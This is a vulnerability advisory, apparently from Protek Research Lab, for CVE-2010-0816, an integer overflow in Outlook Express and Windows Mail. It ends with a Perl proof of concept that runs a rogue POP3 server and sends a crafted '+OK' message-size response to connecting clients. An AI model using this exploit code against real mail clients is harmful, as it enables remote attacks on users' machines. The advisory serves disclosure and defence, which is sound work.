Application: Microsoft Outlook Express Microsoft Windows Mail Platforms: Windows 2000 Windows XP Windows Vista Windows server 2003 Windows Server 2008 SR2 Exploitation: Remote Exploitable CVE Number: CVE-2010-0816 Discover Date: 2009-09-11 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) Products affected 5) The Code ##################################################################################### ================= 1) Introduction ================= Windows Mail is an e-mailand newsgroup client included in Windows Vista, that was superseded by Windows Live Mail. It is the successor to Outlook Express. Microsoft previewed Windows Mail on Channel 9 on October 10, 2005.[1] Unlike Outlook Express, Windows Mail is not considered to be a component of Internet Explorer. As such, it will not be made available for earlier Windows operating systems, while Windows Internet Explorer 7 was made available for Windows XP. Windows Mail has been succeeded by Windows Live Mail, which was built by the same development team as Windows Mail and also serves as the replacement for Outlook Express for Windows XP.

An attempt to exploit the vulnerability would not require authentication, allowing an attacker to exploit the vulnerability by sending a specially crafted response to a client initiating a connection to a server under his control using the common mail protocols. The vulnerability is caused by a common library used by Outlook Express and Windows Mail insufficiently validating network data before using that data to calculate the necessary size of a buffer. ##################################################################################### ===================== 4) Product affected ===================== Mail client; Microsoft Outlook Express & Microsoft Windows Mail Plateforms; Vista SP1 & Windows Server 2008 SP1 ##################################################################################### ============= 5) The Code ============= #!/usr/bin/perl -w # Found by Francis Provencher for Protek Research Lab's # {PRL} Microsoft Windows Mail CLient & outlook express Remote Integer Overflow # use IO::Socket; $port = 110; $serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n"; $cli = $serv->accept() or die "Error: accept()\n"; $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK 357913944 100\r\n"); |
